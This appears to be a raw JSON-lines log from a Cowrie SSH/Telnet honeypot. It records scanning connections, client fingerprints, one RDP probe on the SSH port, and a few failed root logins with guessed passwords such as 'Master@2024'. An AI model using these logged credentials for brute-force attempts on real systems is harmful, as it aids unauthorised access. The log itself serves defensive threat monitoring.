{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"25250c9b43e2","protocol":"telnet","message":"New connection: 192.119.13.58:36436 (10.17.0.5:23) [session: 25250c9b43e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:57.039877Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41860,"dst_ip":"10.17.0.5","dst_port":23,"session":"056394c77427","protocol":"telnet","message":"New connection: 192.119.13.58:41860 (10.17.0.5:23) [session: 056394c77427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:04:58.645155Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56768,"dst_ip":"10.17.0.5","dst_port":23,"session":"874c18fbf729","protocol":"telnet","message":"New connection: 192.119.13.58:56768 (10.17.0.5:23) [session: 874c18fbf729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:02.282125Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59138,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e1acb106be","protocol":"telnet","message":"New connection: 192.119.13.58:59138 (10.17.0.5:23) [session: 83e1acb106be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:02.772948Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59428,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1d40395cbdb","protocol":"telnet","message":"New connection: 192.119.13.58:59428 (10.17.0.5:23) [session: b1d40395cbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:02.874732Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12e308076aa","protocol":"telnet","message":"New connection: 192.119.13.58:32894 (10.17.0.5:23) [session: c12e308076aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:03.447644Z"}
{"eventid":"cowrie.session.closed","duration":34.71689176559448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:04.062577Z","src_ip":"192.119.13.58","session":"42e81ceed106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":35980,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5b83d01273","protocol":"ssh","message":"New connection: 193.37.70.224:35980 (10.17.0.5:22) [session: aa5b83d01273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:05.014014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:05.020071Z","src_ip":"193.37.70.224","session":"aa5b83d01273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:05.116613Z","src_ip":"193.37.70.224","session":"aa5b83d01273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k","message":"login attempt [root/k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:05.409320Z","src_ip":"193.37.70.224","session":"aa5b83d01273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.1139919757843,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:05.899068Z","src_ip":"192.119.13.58","session":"f57dab90eed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.424755334854126,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:05.905536Z","src_ip":"192.119.13.58","session":"3a51525bb0c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46588,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dad6ead7b64","protocol":"telnet","message":"New connection: 192.119.13.58:46588 (10.17.0.5:23) [session: 0dad6ead7b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:06.502917Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:06.512362Z","src_ip":"193.37.70.224","session":"aa5b83d01273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.05435371398926,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:08.444628Z","src_ip":"192.119.13.58","session":"b87cc5d46278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"06e7e221d370","protocol":"telnet","message":"New connection: 192.119.13.58:44900 (10.17.0.5:23) [session: 06e7e221d370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:18.884973Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55632,"dst_ip":"10.17.0.5","dst_port":23,"session":"034511829ef1","protocol":"telnet","message":"New connection: 192.119.13.58:55632 (10.17.0.5:23) [session: 034511829ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:21.443815Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41700,"dst_ip":"10.17.0.5","dst_port":23,"session":"32bd21253a2b","protocol":"telnet","message":"New connection: 192.119.13.58:41700 (10.17.0.5:23) [session: 32bd21253a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:24.067972Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54054,"dst_ip":"10.17.0.5","dst_port":23,"session":"8747913cf97f","protocol":"telnet","message":"New connection: 192.119.13.58:54054 (10.17.0.5:23) [session: 8747913cf97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:27.052722Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb234536196c","protocol":"telnet","message":"New connection: 192.119.13.58:59044 (10.17.0.5:23) [session: bb234536196c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:27.687568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59576,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ecc6883ba51","protocol":"telnet","message":"New connection: 192.119.13.58:59576 (10.17.0.5:23) [session: 4ecc6883ba51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:27.808181Z"}
{"eventid":"cowrie.session.closed","duration":37.038294076919556,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:31.003711Z","src_ip":"192.119.13.58","session":"c6adfecb1583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.26123404502869,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:32.932484Z","src_ip":"192.119.13.58","session":"36267ea2c229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48871922492981,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:35.770811Z","src_ip":"192.119.13.58","session":"874c18fbf729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49514,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e84fd933685","protocol":"telnet","message":"New connection: 192.119.13.58:49514 (10.17.0.5:23) [session: 2e84fd933685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:37.904236Z"}
{"eventid":"cowrie.session.closed","duration":43.83756375312805,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:39.766438Z","src_ip":"192.119.13.58","session":"5ac2b0017a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20643615722656,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:40.709110Z","src_ip":"192.119.13.58","session":"0dad6ead7b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.16240072250366,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:41.807434Z","src_ip":"192.119.13.58","session":"056394c77427","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.90577173233032,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:42.678624Z","src_ip":"192.119.13.58","session":"83e1acb106be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36556,"dst_ip":"10.17.0.5","dst_port":22,"session":"27660b1fdc36","protocol":"ssh","message":"New connection: 103.176.20.57:36556 (10.17.0.5:22) [session: 27660b1fdc36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:43.118490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:43.123580Z","src_ip":"103.176.20.57","session":"27660b1fdc36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:43.372998Z","src_ip":"103.176.20.57","session":"27660b1fdc36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.53634428977966,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:43.410890Z","src_ip":"192.119.13.58","session":"b1d40395cbdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.396639347076416,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:43.564541Z","src_ip":"192.119.13.58","session":"c14f2471477c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.032541036605835,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:44.072270Z","src_ip":"192.119.13.58","session":"25250c9b43e2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"future","message":"login attempt [root/future] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:44.121379Z","src_ip":"103.176.20.57","session":"27660b1fdc36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49260,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7ea6b4eb40","protocol":"telnet","message":"New connection: 192.119.13.58:49260 (10.17.0.5:23) [session: ef7ea6b4eb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:44.986551Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:45.372452Z","src_ip":"103.176.20.57","session":"27660b1fdc36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.950841188430786,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:46.651607Z","src_ip":"192.119.13.58","session":"0703fc5b6ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.776121616363525,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:50.223626Z","src_ip":"192.119.13.58","session":"c12e308076aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59797930717468,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:57.041681Z","src_ip":"192.119.13.58","session":"034511829ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.675866842269897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:58.363307Z","src_ip":"192.119.13.58","session":"bb234536196c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bc17465a115","protocol":"telnet","message":"New connection: 192.119.13.58:45228 (10.17.0.5:23) [session: 3bc17465a115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:05:59.288565Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59250,"dst_ip":"10.17.0.5","dst_port":23,"session":"625fe45ad409","protocol":"telnet","message":"New connection: 192.119.13.58:59250 (10.17.0.5:23) [session: 625fe45ad409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:02.444816Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd30dc2fd304","protocol":"telnet","message":"New connection: 192.119.13.58:40108 (10.17.0.5:23) [session: cd30dc2fd304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:04.402469Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44290,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc02266cdd9c","protocol":"telnet","message":"New connection: 192.119.13.58:44290 (10.17.0.5:23) [session: bc02266cdd9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:05.484999Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45146,"dst_ip":"10.17.0.5","dst_port":23,"session":"593099f9c5ed","protocol":"telnet","message":"New connection: 192.119.13.58:45146 (10.17.0.5:23) [session: 593099f9c5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:05.753838Z"}
{"eventid":"cowrie.session.closed","duration":39.01642346382141,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:06.069028Z","src_ip":"192.119.13.58","session":"8747913cf97f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.238033056259155,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:08.122913Z","src_ip":"192.119.13.58","session":"06e7e221d370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.001224756240845,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:08.809289Z","src_ip":"192.119.13.58","session":"4ecc6883ba51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.040393114089966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:11.944481Z","src_ip":"192.119.13.58","session":"2e84fd933685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36788,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd844e37950","protocol":"telnet","message":"New connection: 192.119.13.58:36788 (10.17.0.5:23) [session: fbd844e37950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:13.484799Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40706,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25e32f52e4d","protocol":"telnet","message":"New connection: 192.119.13.58:40706 (10.17.0.5:23) [session: e25e32f52e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:15.188947Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40926,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3a31c3c01fb","protocol":"telnet","message":"New connection: 192.119.13.58:40926 (10.17.0.5:23) [session: f3a31c3c01fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:15.278428Z"}
{"eventid":"cowrie.session.closed","duration":51.74558901786804,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:15.813423Z","src_ip":"192.119.13.58","session":"32bd21253a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":47746,"dst_ip":"10.17.0.5","dst_port":22,"session":"360cdeaf849e","protocol":"ssh","message":"New connection: 45.78.204.254:47746 (10.17.0.5:22) [session: 360cdeaf849e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:16.672599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:16.683359Z","src_ip":"45.78.204.254","session":"360cdeaf849e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:16.923733Z","src_ip":"45.78.204.254","session":"360cdeaf849e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45698,"dst_ip":"10.17.0.5","dst_port":23,"session":"a616e004a208","protocol":"telnet","message":"New connection: 192.119.13.58:45698 (10.17.0.5:23) [session: a616e004a208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:17.223151Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master@2024","message":"login attempt [root/Master@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:19.302435Z","src_ip":"45.78.204.254","session":"360cdeaf849e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70190715789795,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:20.688343Z","src_ip":"192.119.13.58","session":"ef7ea6b4eb40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:20.712014Z","src_ip":"45.78.204.254","session":"360cdeaf849e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54372,"dst_ip":"159.203.135.109","dst_port":22,"session":"2734e37b6f9d","protocol":"ssh","message":"New connection: 152.42.212.128:54372 (159.203.135.109:22) [session: 2734e37b6f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:22.502634Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:22.508089Z","src_ip":"152.42.212.128","session":"2734e37b6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:22.512094Z","src_ip":"152.42.212.128","session":"2734e37b6f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"167b55f9910f","protocol":"telnet","message":"New connection: 192.119.13.58:49336 (10.17.0.5:23) [session: 167b55f9910f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:06:29.102982Z"}
